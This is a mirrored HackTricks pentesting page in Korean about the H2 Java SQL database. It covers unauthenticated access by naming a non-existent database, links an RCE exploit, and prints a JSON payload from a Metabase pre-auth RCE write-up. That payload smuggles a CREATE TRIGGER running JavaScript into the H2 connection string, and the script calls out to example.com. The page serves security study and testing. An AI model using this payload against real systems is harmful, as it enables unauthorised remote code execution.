mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
37 lines
1.6 KiB
Markdown
37 lines
1.6 KiB
Markdown
# H2 - Java SQL 데이터베이스
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
공식 페이지: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
|
|
|
|
## 접근
|
|
|
|
**유효한 자격 증명 없이 새로운 데이터베이스를 생성하기 위해 **존재하지 않는 데이터베이스 이름**을 지정할 수 있습니다** (**인증되지 않음**):
|
|
|
|
.png>)
|
|
|
|
또는 예를 들어 **mysql이 실행 중**이고 해당 데이터베이스의 **이름**과 **자격 증명**을 알고 있다면, 그냥 접근할 수 있습니다:
|
|
|
|
.png>)
|
|
|
|
_**HTB의 Hawk 박스에서의 트릭.**_
|
|
|
|
## **RCE**
|
|
|
|
H2 데이터베이스와 통신할 수 있는 접근 권한이 있다면, RCE를 얻기 위한 이 익스플로잇을 확인하세요: [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed)
|
|
|
|
## H2 SQL 인젝션을 통한 RCE
|
|
|
|
[**이 게시물**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)에서는 **SQL 인젝션**을 악용하여 **H2 데이터베이스를 통한 RCE**를 얻기 위한 페이로드가 설명되어 있습니다.
|
|
```json
|
|
[...]
|
|
"details":
|
|
{
|
|
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
|
|
"advanced-options": false,
|
|
"ssl": true
|
|
},
|
|
[...]
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|